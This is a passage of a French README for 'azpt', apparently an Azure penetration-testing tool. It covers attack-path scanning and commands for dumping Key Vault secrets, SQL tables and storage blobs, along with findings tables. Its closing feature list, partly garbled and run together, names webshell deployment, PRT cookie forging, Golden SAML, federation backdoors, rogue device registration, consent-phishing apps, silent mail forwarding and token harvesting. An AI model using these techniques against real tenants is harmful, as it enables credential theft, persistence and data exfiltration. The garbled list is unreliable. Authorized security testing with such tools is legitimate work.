Le point d'orgue : `scan` énumère l'**intégralité** de l'accès effectif du principal connecté — groupes, rôles d'annuaire, attributions RBAC, scopes et ressources — et construit un **graphe d'attaque de style BloodHound**. Il signale les cibles à forte valeur (Key Vaults, stockage, SQL, applications web, VMs), attribue chaque rôle à l'utilisateur *ou au groupe spécifique qui le confère*, et dérive des chemins d'attaque notés avec la commande `azpt` exacte pour exploiter chacun d'eux.```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
La sortie --html est une carte d'attaque interactive autonome, à thème sombre (aucune dépendance externe, fonctionne entièrement hors ligne) qui affiche chaque nœud avec sa véritable icône de service Azure. Elle est livrée avec :
Les relations d'appartenance (qui est dans quel groupe/rôle) ne sont collectées qu'avec scan --deep, qui énumère en outre les membres des groupes et des rôles d'annuaire afin que l'application web puisse tracer les chaînes identité → groupe → accès :```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- cliquez sur un chemin ou exécutez une requête pour mettre en évidence sa route et atténuer tout le reste,
et cliquez sur n'importe quel nœud pour obtenir une carte détaillée de ses relations entrantes/sortantes.
Exemple de sortie texte :```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultUn Key Vault contient des secrets, des clés et des certificats. Voir un vault via
enum resources (ARM) n'implique pas un accès au plan de données — lire son
contenu nécessite une politique d'accès Key Vault (Get/List) ou le rôle RBAC Key Vault Secrets
User. Sans cela, vous obtenez 403 Forbidden, ce qui est un signal utile.```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` signale chaque type de contenu indépendamment, donc un vault où vous pouvez lister les secrets mais pas les clés montre quand même ce que vous *pouvez* voir — et révèle exactement quelles permissions du plan de données vous détenez. La clé privée d'un certificat est souvent récupérable via `vault get --secret <cert-name>`, car Key Vault l'expose via le secret du même nom.
Pour les clouds souverains ou un endpoint inhabituel, passez `--vault-url` au lieu de `--vault`.
### Azure SQL — `sql`
Énumérez et interrogez les bases de données Azure SQL. Deux modes d'authentification :
- **Jeton Entra ID** (par défaut) — utilise votre identifiant actuel. Fonctionne lorsque le serveur a un administrateur Entra ID et que votre principal est un utilisateur de base de données mappé.
- **Connexion SQL** (`--user`/`--password`) — nécessaire lorsque le serveur n'a *aucun* administrateur Entra ID (vous verrez `Login failed ... not currently configured to accept this token` sur le chemin du jeton). Essayez ici les identifiants récupérés ailleurs — par exemple les secrets Key Vault.```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
Le pare-feu du serveur doit autoriser votre IP source dans les deux cas. Les noms de tables dans
dump sont validés comme identifiants simples avant utilisation (ils ne peuvent pas être
paramétrés en T-SQL), donc une injection via --table n'est pas possible. sql query est en lecture seule par défaut — DROP/DELETE/UPDATE/EXEC/xp_cmdshell et autres instructions de mutation sont refusées sauf si --allow-write est passé, afin qu'une évaluation autorisée ne puisse pas détruire accidentellement des données.
storageL'équivalent authentifié des commandes anonymes blob : utilise votre
identifiant Entra ID (équivalent à az storage ... --auth-mode login) pour atteindre
les conteneurs/blobs et les Storage Tables. Nécessite un rôle de plan de données tel que
Storage Blob Data Reader ou Storage Table Data Reader — voir le compte
via enum resources (plan de contrôle) ne l'accorde pas ; un 403 signifie que vous manquez
du rôle de données.```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` vs `storage` : `blob` est la vue de l'attaquant **externe, non authentifié**
(listage anonyme, énumération de versions) ; `storage` est la vue **authentifiée**
une fois que vous détenez un identifiant. Modèles de menace différents, les deux inclus.
## Constats
Les constats portent un ID stable, une sévérité, des preuves et une remédiation. Le catalogue complet
avec descriptions et correctifs se trouve dans
[`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md). Résumé :
| ID | Sévérité | Signification |
| --- | --- | --- |
| `STOR-001` | HIGH | Le compte de stockage autorise l'accès public (anonyme) aux blobs |
| `STOR-002` | MEDIUM | Transfert HTTPS uniquement non appliqué |
| `STOR-003` | MEDIUM | Version TLS minimale inférieure à 1.2 |
| `STOR-004` | LOW | Accès par clé partagée (clé de compte) activé |
| `STOR-005` | MEDIUM | Stockage accessible depuis tous les réseaux (pare-feu en autorisation par défaut) |
| `BLOB-001` | MEDIUM | Le conteneur autorise le listage anonyme |
| `BLOB-002` | LOW | Le versionnement des blobs est activé (l'historique peut être récupérable) |
| `BLOB-003` | MEDIUM | Versions historiques de blobs récupérables anonymement |
| `BLOB-010` | variable | Fichier sensible exposé anonymement (sévérité issue du classificateur) |
`STOR-*` (audit authentifié) et `BLOB-*` (anonyme) sont les deux faces de la
même pièce : `STOR-001` indique « l'accès public est configuré » ; `BLOB-001` le prouve
en listant réellement le conteneur depuis l'extérieur.
---
## Formats de sortie
Tableaux lisibles par l'humain par défaut ; ajoutez le drapeau global `--json` pour une sortie structurée
adaptée à `jq` ou à l'ingestion dans un pipeline de rapport :```bash
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
Les résultats sont triés du plus grave au moins grave dans la sortie du tableau.
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
Principes de conception :
- **La détection est découplée des E/S.** Les règles d'audit et le classificateur de secrets blob sont des fonctions pures sur des vues aplaties, ce qui permet de les tester unitairement sans aucun accès réseau.
- **Tout devient un `model.Finding`.** Les modules authentifiés et anonymes émettent vers le même type, de sorte que `--json` et les futurs rapports les traitent uniformément.
- **Anonyme par défaut lorsque c'est possible.** Le client `blob` parle l'API REST Blob brute et ne construit jamais d'identifiant.
---
## Développement```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
Les tests du client blob exercent le véritable chemin de construction de requêtes et d'analyse XML contre un serveur httptest local, incluant l'énumération de versions, la pagination et le cas 403 PublicAccessNotPermitted — aucun compte de stockage réel n'est nécessaire.
--access-token / AZPT_TOKEN + échange de rafraîchissement FOCIenum ca)enum access — portées de jetons, rôles d'annuaire, groupes, RBACPublié sous la licence MIT.
azpt est un outil de sécurité offensive destiné uniquement aux tests autorisés.
Utilisez-le exclusivement contre des tenants et abonnements que vous possédez ou pour
lesquels vous disposez d'une autorisation écrite explicite d'évaluation. Vous êtes responsable de la manière dont vous l'utilisez.
--retry : Nombre de tentatives en cas d'échec de la requête (par défaut : 3)--retry-delay : Délai entre les tentatives en secondes (par défaut : 1)--output : Fichier de sortie pour enregistrer les résultats--format : Format de sortie (par exemple, json, csv, text)--verbose : Activer la sortie détaillée--quiet : Supprimer toute sortie sauf les erreurs--debug : Activer la sortie de débogage--version : Afficher la version de l'outil et quitter--help : Afficher le message d'aide et quitter```
[·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced)
[·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced)
[+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge
...
OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blockedblob brute)recon takeover)audit network)audit keyvault/rbac)scan : graphe de chemins d'attaque de style BloodHound (texte + JSON + HTML) reliant
Entra ID (groupes/rôles) avec ARM RBAC + ressources--cloud)token decode (revendications + mappage wids→rôle d'annuaire)scanrecon tenantinfo : fédération / Seamless SSO / synchronisation locale)enum risky) ; énumération des appareils Intune + RCE par push de script (intune)scan --bloodhound)scan (SP/app/groupe possédé → Global Admin)--deep récursif)mfa devicecode)scan --audit → onglet Findings)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities), délégations Lighthouse, IP publiquesscan --loot : clés Function App, kubeconfig AKS, mots de passe LAPS, clés BitLocker, secrets APIM, règles de pare-feu de bases de données, instantanés de disques, rôles RBAC personnalisés à joker, identifiants SP obsolètes, définitions Logic App--certificate PFX/PEM)webapp deploy) pour le déploiement de webshellenum synced)token extract — jetons de rafraîchissement + d'accès depuis .azure/msal_token_cache.json)m365 scan)devops)deploymentScripts via conteneur ACI transitoire, avec attachement d'identité managée (arm deploy-script)persistence)k8s — secrets, comptes de service, pods, énumération d'élévation de privilèges RBAC, exec de pod non interactif, création de jetons de compte de service)k8s pivot-azure)enum kql) + listage du patrimoine en une requête (enum resources --fast)harvest) : az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, cache MSAL) et Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat sous Windows)prt) : forge de cookie SSO x-ms-RefreshTokenCredential KDF v2 à partir d'un PRT + clé de session, chaîne complète nonce→cookie→authorize→token ; extraction sur hôte via BrowserCore.exe (Windows)device register) : jonction d'appareil pirate DRS → certificat/clé d'appareil (prérequis au PRT, contournement de CA basé sur l'appareil, persistance)federation) : porte dérobée managed→federated (ConvertTo-AADIntBackdoor) + forge Golden SAML & échange de jeton SAML-bearer (XML-DSig validé contre une implémentation indépendante)entra phish-app) : application multi-tenant + URLs de consentement + attrapeur de jetons local sur reply-URL (Invoke-InjectOAuthApp)m365 rules) : règles silencieuses de transfert de boîte de réception via Graph messageRulesscan dump/scan query) : annuaire complet + graphe d'attaque dans SQLite pur Go (modernc.org/sqlite), 13 vues analytiques prêtes à l'emploiprt extract), extraction des identifiants de synchronisation AD Connect (adconnect sync-creds), DPAPI (CryptUnprotectData) — avec balises de build, guidage no-op hors Windowsprt request : obtenir un véritable PRT à partir d'un appareil enregistré (chaîne l'enregistrement d'appareil → le cookie KDF v2)